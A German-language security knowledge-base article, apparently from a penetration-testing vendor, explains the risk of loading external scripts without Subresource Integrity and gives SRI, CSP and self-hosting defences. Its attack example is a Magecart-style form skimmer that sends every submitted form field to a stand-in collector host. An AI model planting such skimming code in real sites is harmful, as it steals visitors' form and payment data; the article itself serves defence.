Externe Skripte ohne Integritätsprüfung
CWE-353CWE-494OWASP A08:2021Aktualisiert 4. September 20264 Min. Lesezeit
Wer JavaScript aus einer externen Quelle ohne Subresource Integrity lädt, führt blind aus, was diese Partei gerade ausliefert. Wird das CDN oder dessen Lieferkette kompromittiert, läuft der veränderte Code mit allen Rechten auf Ihrer Domain. Ein integrity-Attribut lässt den Browser den Inhalt prüfen und die Datei zurückweisen, sobald sie auch nur um ein Byte abweicht.
Ein Skript von einem CDN ist eine Zeile HTML, und mit dieser einen Zeile erlauben Sie einer externen Partei, Code im Browser all Ihrer Besucher auszuführen, mit sämtlichen Rechten, die Ihre eigene Seite hat. In diesem Artikel lesen Sie, warum dieses Vertrauen selten ausdrücklich gemacht wird, wie eine einzige kompromittierte Datei einen ganzen Kundenkreis trifft und wie Sie diese Tür mit einem Hashwert verschließen.
Was ist Subresource Integrity?
Subresource Integrity (SRI) ist ein Browsermechanismus, mit dem Sie festhalten, wie eine externe Datei genau aussehen soll. Sie nehmen einen kryptografischen Fingerabdruck des Inhalts in das integrity-Attribut auf; der Browser berechnet beim Abruf denselben Fingerabdruck und vergleicht beide. Stimmen sie nicht überein, wird die Datei nicht ausgeführt.
Es handelt sich faktisch um eine Versiegelung. Sie bestellen ein Bauteil bei einem Lieferanten und vereinbaren, wie das Siegel aussieht; kommt das Paket mit einem anderen Siegel an, geht es ungeöffnet zurück. Was unterwegs damit geschehen ist, spielt keine Rolle, ob es der Lieferant selbst war, eine Zwischenpartei oder jemand, der den Transport abgefangen hat.
Ohne SRI fehlt dieses Siegel. Der Browser holt die Datei ab und führt aus, was an diesem Tag zufällig darin steht. Das geht jahrelang gut, genau so lange, wie die externe Partei und ihre gesamte Lieferkette unversehrt bleiben.
Wie funktioniert ein Angriff über eine externe Quelle?
Der Angreifer richtet sich nicht auf Ihre Anwendung, sondern auf das, was Sie hereinholen: eine verbreitete Bibliothek, ein Analyseskript, ein Chat-Widget oder das CDN, das diese Dateien ausliefert. Eine Änderung dort trifft auf einen Schlag jeden, der die Datei einbindet.
Verwundbar:
<script src="https://cdn.example/diagramme/3.2.1/diagramme.min.js"></script>
Der Browser holt diese Datei ab und führt sie aus, wie ihr Inhalt auch lautet. Wird das Konto der Administratorin bei diesem CDN übernommen oder gelingt es jemandem, eine bösartige Fassung in die Verteilungskette zu bringen, läuft ab diesem Moment Folgendes auf Ihrer Domain mit:
// Der ursprünglichen Bibliothek hinzugefügt, im Browser all Ihrer Besucher
document.addEventListener('submit', (e) => {
const felder = Object.fromEntries(new FormData(e.target));
navigator.sendBeacon('https://sammeln.example/ein', JSON.stringify(felder));
});
Dieser Code läuft innerhalb Ihres Ursprungs. Das bedeutet: Zugriff auf Cookies ohne HttpOnly, auf den Inhalt jedes Formulars und auf das gesamte DOM. Ihr eigener Code ist unverändert, Ihre Server sind unangetastet, und in Ihren Protokolldateien findet sich nichts. Dieses Muster ist der Kern der sogenannten Magecart-Angriffe, bei denen Zahlungsdaten bei Onlineshops abgegriffen wurden, die selbst nichts falsch gemacht hatten.
Sicher:
<script
src="https://cdn.example/diagramme/3.2.1/diagramme.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
referrerpolicy="no-referrer"></script>
Der Browser holt die Datei ab, berechnet den SHA-384-Hashwert des Inhalts und vergleicht ihn mit dem, was Sie angegeben haben. Bei einem Unterschied von auch nur einem Byte wird das Skript nicht ausgeführt, und in der Konsole erscheint eine Fehlermeldung. Die veränderte Fassung läuft also nie. crossorigin="anonymous" ist dabei erforderlich, da der Browser den Inhalt sonst nicht lesen darf und die Prüfung nicht ausführen kann.
Sie können die Anforderung auch zentral erzwingen, damit ein vergessenes Attribut nicht unbemerkt durch die Prüfung rutscht:
Content-Security-Policy: require-sri-for script style; script-src 'self' https://cdn.example
integrity-Attribut an einer Datei ohne Versionsnummer im Pfad ist eine Störung mit Ansage. Ändert der Anbieter den Inhalt hinter derselben URL, stimmt Ihr Hashwert nicht mehr und der Browser blockiert das Skript, was die Seite zerlegt. Verweisen Sie stets auf eine festgelegte Version.Welche Auswirkungen haben externe Skripte ohne Integritätsprüfung?
Solange die externe Quelle unversehrt ist, geschieht nichts, und dies bleibt ein Härtungsbefund mit niedrigem Schweregrad. Die Bedeutung liegt in dem Szenario, in dem es doch schiefgeht, und dann ist die Auswirkung nahezu maximal: beliebige Codeausführung im Browser jedes Besuchers, auf Ihrer Domain, mit Zugriff auf Sitzungen und Formularinhalte.
Daneben besteht ein häufig übersehener Datenschutzaspekt. Jedes Mal, wenn ein Browser eine Datei bei einer externen Partei abholt, gibt er dort die IP-Adresse, die User-Agent-Kennung und, je nach Ihrer Referrer-Richtlinie, die besuchte Seite preis. Bei einem Dienst, der auf vielen Websites eingebunden ist, entsteht so ein detailliertes Bild des Surfverhaltens Ihrer Besucher, was nach der DSGVO eine Verarbeitung ist, für die Sie verantwortlich bleiben.
Schließlich gibt es die Verfügbarkeitsseite: Fällt das CDN aus, fällt Ihre Funktion mit aus. Eine Abhängigkeit, die Sie nicht verwalten, ist auch eine Abhängigkeit, die Sie nicht wiederherstellen können.
Wie spürt man externe Skripte ohne Integritätsprüfung auf?
Ein Tester erfasst zunächst, welche externen Quellen die Anwendung lädt, also Skripte, Stylesheets, Schriftarten, Widgets und Zählpixel, und prüft je Stück, ob ein integrity- und ein crossorigin-Attribut vorhanden sind. Das ergibt fast immer eine längere Liste als erwartet, da Marketing-Tags und eingebettete Komponenten auf eigene Faust weitere Dateien nachladen.
Anschließend folgen die inhaltlichen Fragen. Verweist die URL auf eine festgelegte Version oder auf einen Pfad, den der Anbieter stillschweigend aktualisieren kann? Stimmt der Hashwert noch mit der heute ausgelieferten Datei überein? Steht in der CSP ein script-src, das das gesamte CDN zulässt, einschließlich von Nutzern hochgeladener Dateien? Und lädt ein erlaubtes Skript seinerseits weitere Domains nach, wodurch sich die Vertrauenskette unbemerkt ausweitet? AssistSec erfasst diese vollständige Kette bei einem Penetrationstest, einschließlich der Quellen, die erst während der Nutzung nachgeladen werden und daher im statischen HTML nicht sichtbar sind.
Wie verhindert man externe Skripte ohne Integritätsprüfung?
- Hosten Sie Skripte und Stylesheets Dritter nach Möglichkeit selbst, damit die externe Partei außerhalb der Vertrauenskette liegt.
- Ist das nicht möglich, ergänzen Sie externe
<script>- und<link>-Elemente stets umintegrityundcrossorigin="anonymous". - Verweisen Sie ausschließlich auf URLs mit festgelegter Versionsnummer, nie auf einen Pfad, den der Anbieter aktualisieren kann.
- Erzwingen Sie die Anforderung zentral mit
require-sri-forin Ihrer Content Security Policy. - Begrenzen Sie die erlaubten Quellen in
script-srcauf bestimmte Domains und Pfade, nicht auf ein ganzes CDN. - Aktualisieren Sie den Hashwert als Teil des regulären Aktualisierungsvorgangs der Bibliothek, nicht als losen Nachtrag.
- Erfassen Sie regelmäßig, welche externen Dateien Ihre Anwendung tatsächlich lädt, einschließlich jener aus Marketing- und Analyse-Tags.
- Beurteilen Sie je externer Quelle, ob sie notwendig ist; die sicherste Abhängigkeit ist die, die Sie streichen.
Quellen
Häufige Fragen
Funktioniert SRI auch für Dateien, die sich regelmäßig ändern?
Nein, und das ist die wichtigste Einschränkung. Ein Hashwert gehört zu genau einer Fassung einer Datei; ändert sich der Inhalt, blockiert der Browser sie. Für Bibliotheken mit fester Versionsnummer ist das gerade beabsichtigt. Für eine Datei, die der Anbieter stillschweigend aktualisiert, ist SRI ungeeignet, und Sie sollten die Datei selbst hosten.
Warum ist das crossorigin-Attribut nötig?
Um den Hashwert prüfen zu können, muss der Browser den vollständigen Inhalt der Datei lesen können. Bei einer Anfrage an eine andere Domain geschieht das nur, wenn sie als CORS-Anfrage gestellt wird. Ohne crossorigin=anonymous erhält der Browser eine undurchsichtige Antwort und kann die Prüfung nicht ausführen.
Schützt SRI vor einer bösartigen Bibliothek?
Nein. SRI sichert nur zu, dass Sie genau die Datei erhalten, die Sie freigegeben haben; über die Güte dieses Codes sagt es nichts aus. War die von Ihnen festgelegte Fassung bereits bösartig, wird sie getreu ausgeliefert. SRI deckt Manipulation unterwegs ab, nicht die Vertrauenswürdigkeit des Anbieters.
Ist Selbsthosten besser als SRI?
In vielen Fällen ja. Eine Datei auf Ihrer eigenen Infrastruktur nimmt die externe Partei vollständig aus der Vertrauenskette und verhindert zudem, dass die IP-Adresse jedes Besuchers bei dieser Partei landet. SRI ist die richtige Lösung, wenn Selbsthosten nicht machbar ist, etwa bei einem Dienst, der aktive Pflege erfordert.
Verwandte Artikel
- SchwachstellenCWE-693A05:2021Fehlende Content Security PolicyOhne Content Security Policy lädt der Browser Skripte aus jeder Quelle. Lesen Sie, was eine CSP leistet und welche Fehler sie entwerten.
- SchwachstellenCWE-79A03:2021Cross-Site-Scripting (XSS)Cross-Site-Scripting (XSS) schleust schädliche Skripte in Webseiten ein, die im Browser der Besucher laufen. So funktioniert XSS und so verhindern Sie es.
- SchwachstellenCWE-1104A06:2021Veraltete und verwundbare KomponentenEine veraltete Bibliothek oder ein alter Webserver trägt öffentlich bekannte Schwachstellen mit fertigem Angriffscode. Lesen Sie, wie Sie das beherrschen.
- SchwachstellenCWE-16A05:2021Security MisconfigurationSecurity Misconfiguration erklärt: wie Standardpasswörter, Debug-Modi und offene Cloud-Buckets Angreifern Zugang geben, und wie Sie sich schützen.